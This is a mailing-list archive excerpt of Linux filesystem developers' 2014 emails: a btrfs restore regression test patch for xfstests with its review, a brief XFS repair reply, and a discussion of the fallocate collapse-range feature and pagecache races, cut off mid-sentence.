150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtxMAO0rDVN5LJYePGdsb2JhbABZgwaIT7NthVaBExcDAQEBATg1giUBAQUnExwjEAgDDgoJJQ8FJQMHGhOIBMhYFxaOOgeEOAEDmDWVaiiBLiQ Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail05.adl6.internode.on.net with ESMTP; 26 Feb 2014 10:21:13 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WIRmK-0002hn-CC; Wed, 26 Feb 2014 10:51:12 +1100 Date: Wed, 26 Feb 2014 10:51:12 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 10/10] repair: BMBT prefetch needs to be CRC aware Message-ID: <20140225235112.GK13647@dastard> X-ASG-Orig-Subj: Re: [PATCH 10/10] repair: BMBT prefetch needs to be CRC aware References: <1393223369-4696-1-git-send-email-david@fromorbit.com> <1393223369-4696-11-git-send-email-david@fromorbit.com> <20140225172518.GA12871@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140225172518.GA12871@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1393372274 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145513 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 25, 2014 at 09:25:18AM -0800, Christoph Hellwig wrote: > > /* > > * do some validation on the block contents > > */ > > - if ((be32_to_cpu(block->bb_magic) != XFS_BMAP_MAGIC) || > > + if ((block->bb_magic != cpu_to_be32(XFS_BMAP_MAGIC) && > > + block->bb_magic != cpu_to_be32(XFS_BMAP_CRC_MAGIC)) || > > (be16_to_cpu(block->bb_level) != level)) > > Seems like this should be factored into a well-documented helper > function. Sure, but it's way outside the scope of fixing this bug. We'd need to start with the kernel code, then port it is userspace and propagate it into all the utilities. Patches welcome ;) Cheers, Dave. -- Dave Chinner david@fromorbit.com From fdmanana@gmail.com Tue Feb 25 18:34:54 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D9DB57F50 for ; Tue, 25 Feb 2014 18:34:54 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id B8E038F8071 for ; Tue, 25 Feb 2014 16:34:54 -0800 (PST) X-ASG-Debug-ID: 1393374892-04cbb066e440a40001-NocioJ Received: from mail-ea0-f169.google.com (mail-ea0-f169.google.com [209.85.215.169]) by cuda.sgi.com with ESMTP id FrPBuZ3hsHrVNPUT (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 25 Feb 2014 16:34:53 -0800 (PST) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.215.169 X-Barracuda-IPDD: Level1 [gmail.com/209.85.215.169] Received: by mail-ea0-f169.google.com with SMTP id d10so468378eaj.14 for ; Tue, 25 Feb 2014 16:34:51 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.215.169] X-Barracuda-IPDD: Level1 [gmail.com/209.85.215.169] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:reply-to:in-reply-to:references:date:message-id :subject:from:to:cc:content-type; bh=qXXSY8cBWexEmO1a4PrZmacg6orsHnJzBfEpm0ShyLY=; b=f4OA3/l1oNwvHiADic536iCBZirGJ2M0gSOYkjhW6tsNjyeyJGLVuL6+MX90dr5wSl 4pNmBM8cJIdJt2g1wtm76S0lH9niFoykMFr034MUGtp3GRPPCGEqD4MDlhQMm+Sffjn2 ZCnOz0Wg9yQrB9waiLa4chdCfvmH7CtqtdqvXRkL6vWi57w5idK9Ymvjid7oBl9Shen7 Ogo7OL0jtkYVVZ9Tscw7HLMFUZwISLAKOzqJT48RNnKJGlxqbh8jxRcgBOkLTVIH9GPC ZfpV5+26VyQ7WW4WQhBXAt5dwaAzpIsLha4r6O4LHN3oU23uuB0mAAn3CsV94o1+tp0u jTpQ== MIME-Version: 1.0 X-Received: by 10.204.170.72 with SMTP id c8mr3404bkz.34.1393374891811; Tue, 25 Feb 2014 16:34:51 -0800 (PST) Received: by 10.204.69.197 with HTTP; Tue, 25 Feb 2014 16:34:51 -0800 (PST) Reply-To: fdmanana@gmail.com In-Reply-To: <20140225233304.GH13647@dastard> References: <1393352816-26065-1-git-send-email-fdmanana@gmail.com> <1393353848-26790-1-git-send-email-fdmanana@gmail.com> <20140225195420.GX13647@dastard> <20140225221100.GG13647@dastard> <20140225233304.GH13647@dastard> Date: Wed, 26 Feb 2014 00:34:51 +0000 Message-ID: Subject: Re: [PATCH v2] xfstests: add test for btrfs-progs restore feature From: Filipe David Manana X-ASG-Orig-Subj: Re: [PATCH v2] xfstests: add test for btrfs-progs restore feature To: Dave Chinner Cc: "xfs@oss.sgi.com" , "linux-btrfs@vger.kernel.org" Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-ea0-f169.google.com[209.85.215.169] X-Barracuda-Start-Time: 1393374892 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145514 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Tue, Feb 25, 2014 at 11:33 PM, Dave Chinner wrote: > On Tue, Feb 25, 2014 at 10:34:07PM +0000, Filipe David Manana wrote: >> On Tue, Feb 25, 2014 at 10:11 PM, Dave Chinner wrote: >> > On Tue, Feb 25, 2014 at 09:02:43PM +0000, Filipe David Manana wrote: >> >> On Tue, Feb 25, 2014 at 7:54 PM, Dave Chinner wrote: >> >> > On Tue, Feb 25, 2014 at 06:44:08PM +0000, Filipe David Borba Manana wrote: >> >> >> This is a regression test to verify that the restore feature of btrfs-progs >> >> >> is able to correctly recover files that have compressed extents, specially when >> >> >> the respective file extent items have a non-zero data offset field. >> >> >> >> >> >> This issue is fixed by the following btrfs-progs patch: >> >> >> >> >> >> Btrfs-progs: fix restore of files with compressed extents >> >> >> >> >> >> Signed-off-by: Filipe David Borba Manana >> >> > .... >> >> >> +seq=`basename $0` >> >> >> +seqres=$RESULT_DIR/$seq >> >> >> +echo "QA output created by $seq" >> >> >> + >> >> >> +tmp=/tmp/$$ >> >> >> +status=1 # failure is the default! >> >> >> +trap "_cleanup; exit \$status" 0 1 2 3 15 >> >> > >> >> > here=`pwd` >> >> >> >> Didn't we agree before, for a previous path, to export "here" from the >> >> main control skip and then cleanup tests to not redefine it? >> >> I am confused now :) >> > >> > Yes, we did, but there's no patch to do that yet. Hence tests need >> > to define it until the infrastructure is changed..... >> >> There's a patch flying around that adds the _require_fssum() and then >> removes definition of "here" for all btrfs tests that use fssum. > > changing how $here is defined needs to be in a patch of it's own, > and that patch needs to remove it from every single test in the > xfstests code base that declares it. test harness infrastructure > changes should not be buried in an unrelated btrfs test changes.... > >> >> >> + | _filter_xfs_io >> >> >> + $XFS_IO_PROG -c "pwrite -S 0xd0 -b 11 33000 11" $SCRATCH_MNT/foo \ >> >> >> + | _filter_xfs_io >> >> >> + $XFS_IO_PROG -c "pwrite -S 0xbc -b 100 99000 100" $SCRATCH_MNT/foo \ >> >> >> + | _filter_xfs_io >> >> >> + >> >> >> + md5sum $SCRATCH_MNT/foo | _filter_scratch >> >> > >> >> > So you are doing this with first having "persisted" the new extents. >> >> > Seems kind of strange that you need to persist some and not >> >> > others... >> >> All I want is to have different file extent items. > > Yes, I get that. What is not clear is where you expect > the failure to be detected - in memory or on disk? > >> >> I need to make sure there's fragmentation (i.e. several file extent >> >> items in the fs btree with data offset fields > 0). >> > >> > Right, but my question is why you haven't ensured that btree is on >> > disk at the time you run the md5sum. >> >> Because it's not needed. >> The sync is only to make sure the first 2 extent items aren't merged >> together. And that is needed to trigger the failure. > > Yes, it's a pre-condition. That's not the answer to the question > I've been asking, though. > >> > That seems important to me >> > because the above sync commands indicate that having the extents on >> > disk rather than in memory is important here. e.g. are you expecting >> > the md5sum to be correct before the data is synced to disk, and then >> > incorrect after the data is synced to disk by the unmount? >> >> Again what's important is having multiple extent items after unmounting. > > Ah, so syncing the data after the second set of writes is important, > and that's what you are testing. So, why aren't you testing this > with sync and fiemap? Or is it the unmount that matters, rather than > the data writeback? > > Do you see what I'm trying to understand? If it's data writeback > that triggers the bug or enables it to be detected, then that's what > the test should use as the trigger. If unmount is necessary, then a > comment saying "data writeback is not sufficient to trigger or > detect the corruption - we need can only detect it via unmount and a > fsck pass".... See my last reply below, which answers this. > >> > code in it to check and unmount the scratch device, so if that is >> > not happening then there's something broken that needs to be fixed. >> >> So _check_btrfs_filesystem() will unmount the fs if it's mounted, do >> the fsck thing and then remount it. If the isn't mounted when it's >> called, it will not mount/remount it after doing the fsck. Very >> explicit, I don't know the motivation for that behaviour. > > Ok, so the problem is not as you described - it's not that > _check_scratch_fs doesn't unmount the filesystem, it's that it > mounts it again after the check and the test requires it to be > unmounted *after* it has been checked. See how much time a simple > comment can save? :) > >> >> matter what its filesystem is (btrfs, extN, xfs, etc) >> > >> > Needs a comment. >> >> Ok... so should I make a comment to explain what btrfs restore does? >> Is it unreasonable to expect an unfamiliar reader to run btrfs --help >> or check the man page for example to see what this command is? > > It is unreasonable to expect them to understand why you used btrfs > restore rather than just doing "_scratch_check_fs; md5sum > $testfile". That's what the comment needs to explain, because I > still don't understand why the test uses btrfs restore or why it > would give any different result to the script fragment in the > previous sentence... So, the problem is that the restore command, which only reads from an unmounted fs (from disk directly) was incorrectly reading certain file extents (compressed extents with a data offset field != 0). This is basically what the comment at the top says: +# Test that btrfs-progs' restore command is able to correctly recover files +# that have compressed extents, specially when the respective file extent +# items have a non-zero data offset field. I'll add a comment just before calling restore... Thanks Dave > > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com -- Filipe David Manana, "Reasonable men adapt themselves to the world. Unreasonable men adapt the world to themselves. That's why all progress depends on unreasonable men." From fdmanana@gmail.com Tue Feb 25 18:44:16 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E77707F50 for ; Tue, 25 Feb 2014 18:44:16 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id CD3F730406A for ; Tue, 25 Feb 2014 16:44:13 -0800 (PST) X-ASG-Debug-ID: 1393375451-04cbb066e540fb0001-NocioJ Received: from mail-we0-f175.google.com (mail-we0-f175.google.com [74.125.82.175]) by cuda.sgi.com with ESMTP id RBbQXqAbmqFdP40F (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 25 Feb 2014 16:44:12 -0800 (PST) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 74.125.82.175 Received: by mail-we0-f175.google.com with SMTP id q59so1085897wes.34 for ; Tue, 25 Feb 2014 16:44:11 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=+2Hi9Cx2lfUKTgN9Pd/AvE21Lp4A/R3puxm9sheIbbI=; b=upUFzajxb2Yo0GTMHMVM4jA2hDHer6ttOC2/lWCEX1qAcYz9q0HYeGWgOGwUOt8OF6 Lgv9L0MWD2VBDMGoI24++X+wjm7A5N1+04H9JbYVBC5J5SEKCRlMCzneGFcdNnontNwJ t/IbbbUCVvADBJcco70zolWo6OPbebEyp1idkVgaNd1PIUJA9OnsJsdL/oNef6nP+USU girdth4ILKeJ51qxdtrnqVCt1c0gjIozGO5xK8m0GSC9E7kDKh2uJFDNQrMnnRzxF97i JsuvBGdlyMGW52GDSbB2AGvln7EzBaoEvxziXtjGd2c/LQCiWMgMJN/pgdwcB0OJP+KZ Fyyg== X-Received: by 10.195.12.102 with SMTP id ep6mr59270wjd.76.1393375450853; Tue, 25 Feb 2014 16:44:10 -0800 (PST) Received: from storm-desktop.lan (bl9-170-181.dsl.telepac.pt. [85.242.170.181]) by mx.google.com with ESMTPSA id ju6sm55024370wjc.1.2014.02.25.16.44.09 for (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Tue, 25 Feb 2014 16:44:10 -0800 (PST) From: Filipe David Borba Manana To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, Filipe David Borba Manana Subject: [PATCH v3] xfstests: add test for btrfs-progs restore feature Date: Wed, 26 Feb 2014 00:44:04 +0000 X-ASG-Orig-Subj: [PATCH v3] xfstests: add test for btrfs-progs restore feature Message-Id: <1393375444-3760-1-git-send-email-fdmanana@gmail.com> X-Mailer: git-send-email 1.7.9.5 In-Reply-To: <1393352816-26065-1-git-send-email-fdmanana@gmail.com> References: <1393352816-26065-1-git-send-email-fdmanana@gmail.com> X-Barracuda-Connect: mail-we0-f175.google.com[74.125.82.175] X-Barracuda-Start-Time: 1393375452 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145514 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature This is a regression test to verify that the restore feature of btrfs-progs is able to correctly recover files that have compressed extents, specially when the respective file extent items have a non-zero data offset field. This issue is fixed by the following btrfs-progs patch: Btrfs-progs: fix restore dealing with compressed extents Signed-off-by: Filipe David Borba Manana --- V2: Fixed title of btrfs-progs patch in the comment and commit message. V3: Make use of TEST_DIR instead of /tmp, defined $here=`pwd` and better comments about the conditions necessary to make the test fail. As suggested by Dave Chinner. tests/btrfs/043 | 109 +++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/043.out | 40 +++++++++++++++++++ tests/btrfs/group | 1 + 3 files changed, 150 insertions(+) create mode 100755 tests/btrfs/043 create mode 100644 tests/btrfs/043.out diff --git a/tests/btrfs/043 b/tests/btrfs/043 new file mode 100755 index 0000000..07eea75 --- /dev/null +++ b/tests/btrfs/043 @@ -0,0 +1,109 @@ +#! /bin/bash +# FS QA Test No. btrfs/043 +# +# Test that btrfs-progs' restore command is able to correctly recover files +# that have compressed extents, specially when the respective file extent +# items have a non-zero data offset field. +# +# This issue is fixed by the following btrfs-progs patch: +# +# Btrfs-progs: fix restore of files with compressed extents +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Filipe Manana. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + rm -fr $tmp +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux +_require_scratch +_need_to_be_root + +rm -f $seqres.full + +test_btrfs_restore() +{ + if [ -z $1 ] + then + OPTIONS="" + else + OPTIONS="-o compress-force=$1" + fi + _scratch_mkfs >/dev/null 2>&1 + _scratch_mount $OPTIONS + + # Create first file extent item, then fsync to make sure the next write + # won't end up in the same file extent item, so that we have 2 distinct + # file extent items. + $XFS_IO_PROG -f -c "pwrite -S 0xff -b 100000 0 100000" -c "fsync" \ + $SCRATCH_MNT/foo | _filter_xfs_io + + # This creates a second file extent item. + $XFS_IO_PROG -c "pwrite -S 0xaa -b 100000 100000 100000" -c "fsync" \ + $SCRATCH_MNT/foo | _filter_xfs_io + + # Now do a few writes that will cause the first extent item to be split, + # with some of the new smaller file extent items getting a data offset + # field different from 0. + $XFS_IO_PROG -c "pwrite -S 0x1e -b 2 10000 2" $SCRATCH_MNT/foo \ + | _filter_xfs_io + $XFS_IO_PROG -c "pwrite -S 0xd0 -b 11 33000 11" $SCRATCH_MNT/foo \ + | _filter_xfs_io + $XFS_IO_PROG -c "pwrite -S 0xbc -b 100 99000 100" $SCRATCH_MNT/foo \ + | _filter_xfs_io + + md5sum $SCRATCH_MNT/foo | _filter_scratch + + _scratch_unmount + + rm -fr $TEST_DIR/foo + # Now that the fs is unmounted, call btrfs restore to read the file + # from disk and save it in the test directory. It used to incorrectly + # read compressed file extents that have a non-zero data offset field, + # resulting either in decompression failure or reading a wrong section + # of the extent. + _run_btrfs_util_prog restore $SCRATCH_DEV $TEST_DIR + md5sum $TEST_DIR/foo | cut -d ' ' -f 1 +} + +echo "Testing restore of file compressed with lzo" +test_btrfs_restore "lzo" +echo "Testing restore of file compressed with zlib" +test_btrfs_restore "zlib" +echo "Testing restore of file without any compression" +test_btrfs_restore + +status=0 +exit diff --git a/tests/btrfs/043.out b/tests/btrfs/043.out new file mode 100644 index 0000000..d22e4ce --- /dev/null +++ b/tests/btrfs/043.out @@ -0,0 +1,40 @@ +QA output created by 043 +Testing restore of file compressed with lzo +wrote 100000/100000 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 100000/100000 bytes at offset 100000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 2/2 bytes at offset 10000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 11/11 bytes at offset 33000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 100/100 bytes at offset 99000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +67edd038aaa42adb5a1aa78f2eb1d2b6 SCRATCH_MNT/foo +67edd038aaa42adb5a1aa78f2eb1d2b6 +Testing restore of file compressed with zlib +wrote 100000/100000 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 100000/100000 bytes at offset 100000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 2/2 bytes at offset 10000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 11/11 bytes at offset 33000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 100/100 bytes at offset 99000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +67edd038aaa42adb5a1aa78f2eb1d2b6 SCRATCH_MNT/foo +67edd038aaa42adb5a1aa78f2eb1d2b6 +Testing restore of file without any compression +wrote 100000/100000 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 100000/100000 bytes at offset 100000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 2/2 bytes at offset 10000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 11/11 bytes at offset 33000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 100/100 bytes at offset 99000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +67edd038aaa42adb5a1aa78f2eb1d2b6 SCRATCH_MNT/foo +67edd038aaa42adb5a1aa78f2eb1d2b6 diff --git a/tests/btrfs/group b/tests/btrfs/group index 1037761..fabe3b5 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -45,3 +45,4 @@ 040 auto quick 041 auto quick 042 auto quick +043 auto quick -- 1.7.9.5 From david@fromorbit.com Tue Feb 25 19:13:56 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 44ED47F37 for ; Tue, 25 Feb 2014 19:13:56 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 259FA304071 for ; Tue, 25 Feb 2014 17:13:56 -0800 (PST) X-ASG-Debug-ID: 1393377231-04cbb066e641f40001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id J9SS9k6TmedzsbcR for ; Tue, 25 Feb 2014 17:13:51 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ap95AN8+DVN5LJYePGdsb2JhbABZgwY7iBSgZQOTBYVWgRUXAwEBAQE4NYIlAQEEATocIwULCAMYCSUPBSUDBxoTGYdkB8hOFxaNTmwHhDgEjGaLT4dGgw2JRYFSKIE1 Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail05.adl6.internode.on.net with ESMTP; 26 Feb 2014 11:43:49 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WIT4F-0002vI-7N; Wed, 26 Feb 2014 12:13:47 +1100 Date: Wed, 26 Feb 2014 12:13:47 +1100 From: Dave Chinner To: Hugh Dickins Cc: Namjae Jeon , Andrew Morton , Matthew Wilcox , Theodore Ts'o , Stephen Rothwell , viro@zeniv.linux.org.uk, bpm@sgi.com, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, lczerner@redhat.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, linux-mm@kvack.org, Namjae Jeon Subject: Re: [PATCH v5 0/10] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Message-ID: <20140226011347.GL13647@dastard> X-ASG-Orig-Subj: Re: [PATCH v5 0/10] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate References: <1392741436-19995-1-git-send-email-linkinjeon@gmail.com> <20140224005710.GH4317@dastard> <20140225141601.358f6e3df2660d4af44da876@canb.auug.org.au> <20140225041346.GA29907@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1393377231 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145514 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 25, 2014 at 03:23:35PM -0800, Hugh Dickins wrote: > On Tue, 25 Feb 2014, Dave Chinner wrote: > > On Tue, Feb 25, 2014 at 02:16:01PM +1100, Stephen Rothwell wrote: > > > On Mon, 24 Feb 2014 11:57:10 +1100 Dave Chinner wrote: > > > > > > > > > Namjae Jeon (10): > > > > > fs: Add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate > > > > > xfs: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate > > > > > > > > I've pushed these to the following branch: > > > > > > > > git://oss.sgi.com/xfs/xfs.git xfs-collapse-range > > > > > > > > And so they'll be in tomorrow's linux-next tree. > > > > > > > > > ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate > > > > > > > > I've left this one alone for the ext4 guys to sort out. > > > > > > So presumably that xfs tree branch is now completely stable and so Ted > > > could just merge that branch into the ext4 tree as well and put the ext4 > > > part on top of that in his tree. > > > > Well, for some definition of stable. Right now it's just a topic > > branch that is merged into the for-next branch, so in theory it is > > still just a set of pending changes in a branch in a repo that has > > been pushed to linux-next for testing. > > > > That said, I don't see that branch changing unless we find bugs in > > the code or a problem with the API needs fixing, at which point I > > would add more commits to it and rebase the for-next branch that you > > are pulling into the linux-next tree. > > > > Realistically, I'm waiting for Lukas to repost his other pending > > fallocate changes (the zero range changes) so I can pull the VFS and > > XFS bits of that into the XFS tree and I can test them together > > before I'll call the xfs-collapse-range stable and ready to be > > merged into some other tree... > > Thank you, Namjae and Dave, for driving this; and thank you, Ted and > Matthew, for raising appropriate mmap concerns (2013-7-31 and 2014-2-2). > I was aware of this work in progress, but only now found time to look. > > I've not studied the implementation, knowing too little of ext4 and > xfs; but it sounds like the approach you've taken, writing out dirties > and truncating all pagecache from the critical offset onwards, is the > sensible approach for now - lame, and leaves me wondering whether an > offline tool wouldn't be more appropriate; but a safe place to start > if we suppose it will be extended to handle pagecache better in future. Offline? You mean with the filesystem unmounted, or something else? > Of course I'm interested in the possibility of extending it to tmpfs; > which may not be a worthwhile exercise in itself, except that it would > force us to face and solve any pagecache/radixtree issues, if possible, > thereby enhancing the support for disk-based filesystems. > > I doubt we should look into that before Jan Kara's range locking mods > arrive, or are rejected. As I understand it, you're going ahead with > this, knowing that there can be awkward races with concurrent faults - > more likely to cause trinity fuzzer reports, than interfere with daily > usage (trinity seems to be good at faulting into holes being punched). Yes, the caveat is that the applications that use it (TVs, DVRs, NLE applications, etc) typically don't use mmap for accessing the data stream being modified. Further, it's much less generally useful than holepunching, so when these two are combined, the likely exposure to issues resulting from mmap deficiencies are pretty damn low. > That's probably the right pragmatic decision; but I'm a little worried > that it's justfied by saying we already have such races in hole-punch. > Collapse is significantly more challenging than either hole-punch or > truncation: the shifting of pages from one offset to another is new, > and might present nastier bugs. Symptoms might be different, but it's exactly the same problem. i.e. mmap_sem locking inversions preventing the filesystem from serialising IO path operations like hole punch, truncate and other extent manipulation operations against concurrent page faults that enter the IO path. > Emphasis on "might": I expect it's impossible, given your current > approach, but something to be on guard against is unmap_mapping_range() > failing to find and unmap a pte, because the page is mapped at the > "wrong" place in the vma, resulting in BUG_ON(page_mapped(page)) > in __delete_from_page_cache(). Unmapping occurs before anything is shifted. And even if a fault does occur before the file size changes at the end of a collapse range operation (via the truncate path), the page in the page cache won't be moved about so I don't see how the above problem could occur. All that will happen is that you get the wrong data in the mmap()d page, just like you will with hole_punch issues. > One thing that is slightly wrong in what you have right now, is your > use of truncate_pagecache_range(): you'll need to add an "even_cows" > arg to that (or make it a wrapper to a __truncate_pagecache_range() > taking additional "even_cows" arg). That arg governs what is done > with anonymous COW'ed pages in a MAP_PRIVATE mmap of the file. > > Truncation is required by spec to unmap them; hole punching was up > to us to spec, did not unmap them originally (because there was no > preliminary call to unmap_mapping_range(), so it happened to rely > on the inefficient fallback within truncate_inode_page()), and that > seemed fine because, why discard a user's data unnecessarily? I don't see there being a problem here - it's the same case as hole punch. And when we change the file size after shifting extents we are doing a truncate so that will behave as expected w.r.t. anonymous COW'ed pages in a MAP_PRIVATE mmap of the file. > But your case is different: collapse is much closer to truncation, > and if you do not unmap the private COW'ed pages, then pages left > behind 